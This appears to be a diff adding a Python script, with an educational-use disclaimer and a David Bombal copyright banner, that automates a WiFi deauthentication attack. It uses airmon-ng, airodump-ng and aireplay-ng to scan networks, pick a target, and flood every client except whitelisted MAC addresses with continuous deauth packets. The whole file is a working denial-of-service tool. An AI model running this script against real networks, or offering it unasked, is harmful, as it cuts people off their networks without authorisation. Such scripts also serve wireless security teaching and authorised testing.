|
| 1 | +# Disclaimer: |
| 2 | +# This script is for educational purposes only. |
| 3 | +# Do not use against any network that you don't own or have authorization to test. |
| 4 | + |
| 5 | +#!/usr/bin/python3 |
| 6 | + |
| 7 | +# We will be using the csv module to work with the data captured by airodump-ng. |
| 8 | +import csv |
| 9 | +# If we move csv files to a backup directory we will use the datetime module to create |
| 10 | +# to create a timestamp in the file name. |
| 11 | +from datetime import datetime |
| 12 | +# We will use the os module to get the current working directory and to list filenames in a directory. |
| 13 | +import os |
| 14 | +# We will use the regular expressions module to find wifi interface name, and also MAC Addresses. |
| 15 | +import re |
| 16 | +# We will use methods from the shutil module to move files. |
| 17 | +import shutil |
| 18 | +# We can use the subprocess module to run operating system commands. |
| 19 | +import subprocess |
| 20 | +# We will create a thread for each deauth sent to a MAC so that enough time doesn't elapse to allow a device back on the network. |
| 21 | +import threading |
| 22 | +# We use the sleep method in the menu. |
| 23 | +import time |
| 24 | + |
| 25 | + |
| 26 | +# Helper functions |
| 27 | +def backup_csv(): |
| 28 | + """Move all .csv files in the directory to a backup directory.""" |
| 29 | + for file_name in os.listdir(): |
| 30 | + # We should only have one csv file, we back them up in a backup directory every time we run the program. |
| 31 | + if ".csv" in file_name: |
| 32 | + print("There shouldn't be any .csv files in your directory. We found .csv files in your directory.") |
| 33 | + # We get the current working directory. |
| 34 | + directory = os.getcwd() |
| 35 | + try: |
| 36 | + # We make a new directory called /backup |
| 37 | + os.mkdir(directory + "/backup/") |
| 38 | + except: |
| 39 | + print("Backup directory exists.") |
| 40 | + # Create a timestamp |
| 41 | + timestamp = datetime.now() |
| 42 | + # We copy any .csv files in the folder to the backup folder. |
| 43 | + shutil.move(file_name, directory + "/backup/" + str(timestamp) + "-" + file_name) |
| 44 | + print(f"Moved files to {directory}/backup directory.") |
| 45 | + |
| 46 | + |
| 47 | +def in_sudo_mode(): |
| 48 | + """If the user doesn't run the program with super user privileges, don't allow them to continue.""" |
| 49 | + if not 'SUDO_UID' in os.environ.keys(): |
| 50 | + print("Try running this program with sudo.") |
| 51 | + exit() |
| 52 | + |
| 53 | + |
| 54 | +def find_nic(): |
| 55 | + """This function is used to find the network interface controllers on your computer.""" |
| 56 | + # We use the subprocess.run to run the "sudo iw dev" command we'd normally run to find the network interfaces. |
| 57 | + result = subprocess.run(["iw", "dev"], capture_output=True).stdout.decode() |
| 58 | + network_interface_controllers = wlan_code.findall(result) |
| 59 | + return network_interface_controllers |
| 60 | + |
| 61 | + |
| 62 | +def set_monitor_mode(controller_name): |
| 63 | + """This function needs the network interface controller name to put it into monitor mode. |
| 64 | + Argument: Network Controller Name""" |
| 65 | + # Put WiFi controller into monitor mode. |
| 66 | + # This is one way to put it into monitoring mode. You can also use iwconfig, or airmon-ng. |
| 67 | + subprocess.run(["ip", "link", "set", wifi_name, "down"]) |
| 68 | + # Killing conflicting processes makes sure that nothing interferes with putting controller into monitor mode. |
| 69 | + subprocess.run(["airmon-ng", "check", "kill"]) |
| 70 | + # Put the WiFi nic in monitor mode. |
| 71 | + subprocess.run(["iw", wifi_name, "set", "monitor", "none"]) |
| 72 | + # Bring the WiFi controller back online. |
| 73 | + subprocess.run(["ip", "link", "set", wifi_name, "up"]) |
| 74 | + |
| 75 | +def set_band_to_monitor(choice): |
| 76 | + """If you have a 5Ghz network interface controller you can use this function to put monitor either 2.4Ghz or 5Ghz bands or both.""" |
| 77 | + if choice == "0": |
| 78 | + # Bands b and g are 2.4Ghz WiFi Networks |
| 79 | + subprocess.Popen(["airodump-ng", "--band", "bg", "-w", "file", "--write-interval", "1", "--output-format", "csv", wifi_name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) |
| 80 | + elif choice == "1": |
| 81 | + # Band a is for 5Ghz WiFi Networks |
| 82 | + subprocess.Popen(["airodump-ng", "--band", "a", "-w", "file", "--write-interval", "1", "--output-format", "csv", wifi_name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) |
| 83 | + else: |
| 84 | + # Will use bands a, b and g (actually band n). Checks full spectrum. |
| 85 | + subprocess.Popen(["airodump-ng", "--band", "abg", "-w", "file", "--write-interval", "1", "--output-format", "csv", wifi_name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) |
| 86 | + |
| 87 | + |
| 88 | +def backup_csv(): |
| 89 | + """Move all .csv files in the directory to a new backup folder.""" |
| 90 | + for file_name in os.listdir(): |
| 91 | + # We should only have one csv file as we delete them from the folder every time we run the program. |
| 92 | + if ".csv" in file_name: |
| 93 | + print("There shouldn't be any .csv files in your directory. We found .csv files in your directory.") |
| 94 | + # We get the current working directory. |
| 95 | + directory = os.getcwd() |
| 96 | + try: |
| 97 | + # We make a new directory called /backup |
| 98 | + os.mkdir(directory + "/backup/") |
| 99 | + except: |
| 100 | + print("Backup folder exists.") |
| 101 | + # Create a timestamp |
| 102 | + timestamp = datetime.now() |
| 103 | + # We copy any .csv files in the folder to the backup folder. |
| 104 | + shutil.move(file_name, directory + "/backup/" + str(timestamp) + "-" + file_name) |
| 105 | + |
| 106 | + |
| 107 | +def check_for_essid(essid, lst): |
| 108 | + """Will check if there is an ESSID in the list and then send False to end the loop.""" |
| 109 | + check_status = True |
| 110 | + |
| 111 | + # If no ESSIDs in list add the row |
| 112 | + if len(lst) == 0: |
| 113 | + return check_status |
| 114 | + |
| 115 | + # This will only run if there are wireless access points in the list. |
| 116 | + for item in lst: |
| 117 | + # If True don't add to list. False will add it to list |
| 118 | + if essid in item["ESSID"]: |
| 119 | + check_status = False |
| 120 | + |
| 121 | + return check_status |
| 122 | + |
| 123 | + |
| 124 | +def wifi_networks_menu(): |
| 125 | + """ Loop that shows the wireless access points. We use a try except block and we will quit the loop by pressing ctrl-c.""" |
| 126 | + active_wireless_networks = list() |
| 127 | + try: |
| 128 | + while True: |
| 129 | + # We want to clear the screen before we print the network interfaces. |
| 130 | + subprocess.call("clear", shell=True) |
| 131 | + for file_name in os.listdir(): |
| 132 | + # We should only have one csv file as we backup all previous csv files from the folder every time we run the program. |
| 133 | + # The following list contains the field names for the csv entries. |
| 134 | + fieldnames = ['BSSID', 'First_time_seen', 'Last_time_seen', 'channel', 'Speed', 'Privacy', 'Cipher', 'Authentication', 'Power', 'beacons', 'IV', 'LAN_IP', 'ID_length', 'ESSID', 'Key'] |
| 135 | + if ".csv" in file_name: |
| 136 | + with open(file_name) as csv_h: |
| 137 | + # We use the DictReader method and tell it to take the csv_h contents and then apply the dictionary with the fieldnames we specified above. |
| 138 | + # This creates a list of dictionaries with the keys as specified in the fieldnames. |
| 139 | + csv_h.seek(0) |
| 140 | + csv_reader = csv.DictReader(csv_h, fieldnames=fieldnames) |
| 141 | + for row in csv_reader: |
| 142 | + if row["BSSID"] == "BSSID": |
| 143 | + pass |
| 144 | + elif row["BSSID"] == "Station MAC": |
| 145 | + break |
| 146 | + elif check_for_essid(row["ESSID"], active_wireless_networks): |
| 147 | + active_wireless_networks.append(row) |
| 148 | + |
| 149 | + print("Scanning. Press Ctrl+C when you want to select which wireless network you want to attack.\n") |
| 150 | + print("No |\tBSSID |\tChannel|\tESSID |") |
| 151 | + print("___|\t___________________|\t_______|\t______________________________|") |
| 152 | + for index, item in enumerate(active_wireless_networks): |
| 153 | + # We're using the print statement with an f-string. |
| 154 | + # F-strings are a more intuitive way to include variables when printing strings, |
| 155 | + # rather than ugly concatenations. |
| 156 | + print(f"{index}\t{item['BSSID']}\t{item['channel'].strip()}\t\t{item['ESSID']}") |
| 157 | + # We make the script sleep for 1 second before loading the updated list. |
| 158 | + time.sleep(1) |
| 159 | + |
| 160 | + except KeyboardInterrupt: |
| 161 | + print("\nReady to make choice.") |
| 162 | + |
| 163 | + # Ensure that the input choice is valid. |
| 164 | + while True: |
| 165 | + net_choice = input("Please select a choice from above: ") |
| 166 | + if active_wireless_networks[int(net_choice)]: |
| 167 | + return active_wireless_networks[int(net_choice)] |
| 168 | + print("Please try again.") |
| 169 | + |
| 170 | + |
| 171 | + |
| 172 | +def set_into_managed_mode(wifi_name): |
| 173 | + """SET YOUR NETWORK CONTROLLER INTERFACE INTO MANAGED MODE & RESTART NETWORK MANAGER |
| 174 | + ARGUMENTS: wifi interface name |
| 175 | + """ |
| 176 | + # Put WiFi controller into monitor mode. |
| 177 | + # This is one way to put it into managed mode. You can also use iwconfig, or airmon-ng. |
| 178 | + subprocess.run(["ip", "link", "set", wifi_name, "down"]) |
| 179 | + # Put the WiFi nic in monitor mode. |
| 180 | + subprocess.run(["iwconfig", wifi_name, "mode", "managed"]) |
| 181 | + subprocess.run(["ip", "link", "set", wifi_name, "up"]) |
| 182 | + subprocess.run(["service", "NetworkManager", "start"]) |
| 183 | + |
| 184 | + |
| 185 | +def get_clients(hackbssid, hackchannel, wifi_name): |
| 186 | + subprocess.Popen(["airodump-ng", "--bssid", hackbssid, "--channel", hackchannel, "-w", "clients", "--write-interval", "1", "--output-format", "csv", wifi_name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) |
| 187 | + |
| 188 | + |
| 189 | +def deauth_attack(network_mac, target_mac, interface): |
| 190 | + # We are using aireplay-ng to send a deauth packet. 0 means it will send it indefinitely. -a is used to specify the MAC address of the target router. -c is used to specify the mac we want to send the deauth packet. |
| 191 | + # Then we also need to specify the interface |
| 192 | + subprocess.Popen(["aireplay-ng", "--deauth", "0", "-a", network_mac, "-c", target_mac, interface]) |
| 193 | + |
| 194 | + |
| 195 | +# Regular Expressions to be used. |
| 196 | +mac_address_regex = re.compile(r'(?:[0-9a-fA-F]:?){12}') |
| 197 | +wlan_code = re.compile("Interface (wlan[0-9]+)") |
| 198 | + |
| 199 | +# Program Header |
| 200 | +# Basic user interface header |
| 201 | +print(r"""______ _ _ ______ _ _ |
| 202 | +| _ \ (_) | | | ___ \ | | | | |
| 203 | +| | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| | |
| 204 | +| | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | | |
| 205 | +| |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | | |
| 206 | +|___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_|""") |
| 207 | +print("\n****************************************************************") |
| 208 | +print("\n* Copyright of David Bombal, 2021 *") |
| 209 | +print("\n* https://www.davidbombal.com *") |
| 210 | +print("\n* https://www.youtube.com/davidbombal *") |
| 211 | +print("\n****************************************************************") |
| 212 | + |
| 213 | +# In Sudo Mode? |
| 214 | +in_sudo_mode() |
| 215 | +# Move any csv files to current working directory/backup |
| 216 | +backup_csv() |
| 217 | + |
| 218 | +# Lists to be populated |
| 219 | +macs_not_to_kick_off = list() |
| 220 | + |
| 221 | + |
| 222 | +# Menu to request Mac Addresses to be kept on network. |
| 223 | +while True: |
| 224 | + print("Please enter the MAC Address(es) of the device(s) you don't want to kick off the network.") |
| 225 | + macs = input("Please use a comma separated list if more than one, ie 00:11:22:33:44:55,11:22:33:44:55:66 :") |
| 226 | + # Use the MAC Address Regex to find all the MAC Addresses entered in the above input. |
| 227 | + macs_not_to_kick_off = mac_address_regex.findall(macs) |
| 228 | + # We reassign all the MAC address to the same variable as a list and make them uppercase using a list comprehension. |
| 229 | + macs_not_to_kick_off = [mac.upper() for mac in macs_not_to_kick_off] |
| 230 | + # If you entered a valid MAC Address the program flow will continue and break out of the while loop. |
| 231 | + if len(macs_not_to_kick_off) > 0: |
| 232 | + break |
| 233 | + |
| 234 | + print("You didn't enter valid Mac Addresses.") |
| 235 | + |
| 236 | + |
| 237 | +# Menu to ask which bands to scan with airmon-ng |
| 238 | +while True: |
| 239 | + wifi_controller_bands = ["bg (2.4Ghz)", "a (5Ghz)", "abg (Will be slower)"] |
| 240 | + print("Please select the type of scan you want to run.") |
| 241 | + for index, controller in enumerate(wifi_controller_bands): |
| 242 | + print(f"{index} - {controller}") |
| 243 | + |
| 244 | + |
| 245 | + # Check if the choice exists. If it doesn't it asks the user to try again. |
| 246 | + # We don't cast it to an integer at this stage as characters other than digits will cause the program to break. |
| 247 | + band_choice = input("Please select the bands you want to scan from the list above: ") |
| 248 | + try: |
| 249 | + if wifi_controller_bands[int(band_choice)]: |
| 250 | + # Since the choice exists and is an integer we can cast band choice as an integer. |
| 251 | + band_choice = int(band_choice) |
| 252 | + break |
| 253 | + except: |
| 254 | + print("Please make a valid selection.") |
| 255 | + |
| 256 | + |
| 257 | +# Find all the network interface controllers. |
| 258 | +network_controllers = find_nic() |
| 259 | +if len(network_controllers) == 0: |
| 260 | + # If no networks interface controllers connected to your computer the program will exit. |
| 261 | + print("Please connect a network interface controller and try again!") |
| 262 | + exit() |
| 263 | + |
| 264 | + |
| 265 | +# Select the network interface controller you want to put into monitor mode. |
| 266 | +while True: |
| 267 | + for index, controller in enumerate(network_controllers): |
| 268 | + print(f"{index} - {controller}") |
| 269 | + |
| 270 | + controller_choice = input("Please select the controller you want to put into monitor mode: ") |
| 271 | + |
| 272 | + try: |
| 273 | + if network_controllers[int(controller_choice)]: |
| 274 | + break |
| 275 | + except: |
| 276 | + print("Please make a valid selection!") |
| 277 | + |
| 278 | + |
| 279 | +# Assign the network interface controller name to a variable for easy use. |
| 280 | +wifi_name = network_controllers[int(controller_choice)] |
| 281 | + |
| 282 | + |
| 283 | +# Set network interface controller to monitor mode. |
| 284 | +set_monitor_mode(wifi_name) |
| 285 | +# Monitor the selected wifi band(s). |
| 286 | +set_band_to_monitor(band_choice) |
| 287 | +# Print WiFi Menu |
| 288 | +wifi_network_choice = wifi_networks_menu() |
| 289 | +hackbssid = wifi_network_choice["BSSID"] |
| 290 | +# We strip out all the extra white space to just get the channel. |
| 291 | +hackchannel = wifi_network_choice["channel"].strip() |
| 292 | +# backup_csv() |
| 293 | +# Run against only the network we want to kick clients off. |
| 294 | +get_clients(hackbssid, hackchannel, wifi_name) |
| 295 | + |
| 296 | +# We define a set, because it can only hold unique values. |
| 297 | +active_clients = set() |
| 298 | +# We would like to know the threads we've already started so that we don't start multiple threads running the same deauth. |
| 299 | +threads_started = [] |
| 300 | + |
| 301 | +# Make sure that airmon-ng is running on the correct channel. |
| 302 | +subprocess.run(["airmon-ng", "start", wifi_name, hackchannel]) |
| 303 | +try: |
| 304 | + while True: |
| 305 | + count = 0 |
| 306 | + |
| 307 | + # We want to clear the screen before we print the network interfaces. |
| 308 | + subprocess.call("clear", shell=True) |
| 309 | + for file_name in os.listdir(): |
| 310 | + # We should only have one csv file as we backup all previous csv files from the folder every time we run the program. |
| 311 | + # The following list contains the field names for the csv entries. |
| 312 | + fieldnames = ["Station MAC", "First time seen", "Last time seen", "Power", "packets", "BSSID", "Probed ESSIDs"] |
| 313 | + if ".csv" in file_name and file_name.startswith("clients"): |
| 314 | + with open(file_name) as csv_h: |
| 315 | + print("Running") |
| 316 | + # We use the DictReader method and tell it to take the csv_h contents and then apply the dictionary with the fieldnames we specified above. |
| 317 | + # This creates a list of dictionaries with the keys as specified in the fieldnames. |
| 318 | + csv_h.seek(0) |
| 319 | + csv_reader = csv.DictReader(csv_h, fieldnames=fieldnames) |
| 320 | + for index, row in enumerate(csv_reader): |
| 321 | + if index < 5: |
| 322 | + pass |
| 323 | + # We will not add the MAC Addresses we specified at the beginning of the program to the ones we will kick off. |
| 324 | + elif row["Station MAC"] in macs_not_to_kick_off: |
| 325 | + pass |
| 326 | + else: |
| 327 | + # Add all the active MAC Addresses. |
| 328 | + active_clients.add(row["Station MAC"]) |
| 329 | + |
| 330 | + print("Station MAC |") |
| 331 | + print("______________________|") |
| 332 | + for item in active_clients: |
| 333 | + # We're using the print statement with an f-string. |
| 334 | + # F-strings are a more intuitive way to include variables when printing strings, |
| 335 | + # rather than ugly concatenations. |
| 336 | + print(f"{item}") |
| 337 | + # Once a device is in the active clients set and not one of the threads running deauth attacks we start a new thread as a deauth attack. |
| 338 | + if item not in threads_started: |
| 339 | + # It's easier to work with the unique MAC Addresses in a list and add the MAC to the list of threads we started before we start running the deauth thread. |
| 340 | + threads_started.append(item) |
| 341 | + # We run the deauth_attack function in the thread with the argumenets hackbssid, item and wifi_name, we also specify it as a background daemon thread. |
| 342 | + # A daemon thread keeps running until the main thread stops. You can stop the main thread with ctrl + c. |
| 343 | + t = threading.Thread(target=deauth_attack, args=[hackbssid, item, wifi_name], daemon=True) |
| 344 | + t.start() |
| 345 | +except KeyboardInterrupt: |
| 346 | + print("\nStopping Deauth") |
| 347 | + |
| 348 | +# Set the network interface controller back into managed mode and restart network services. |
| 349 | +set_into_managed_mode(wifi_name) |
0 commit comments